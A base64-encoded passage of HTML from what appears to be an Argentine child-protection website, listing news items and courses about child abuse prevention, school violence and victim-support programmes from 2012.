YWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9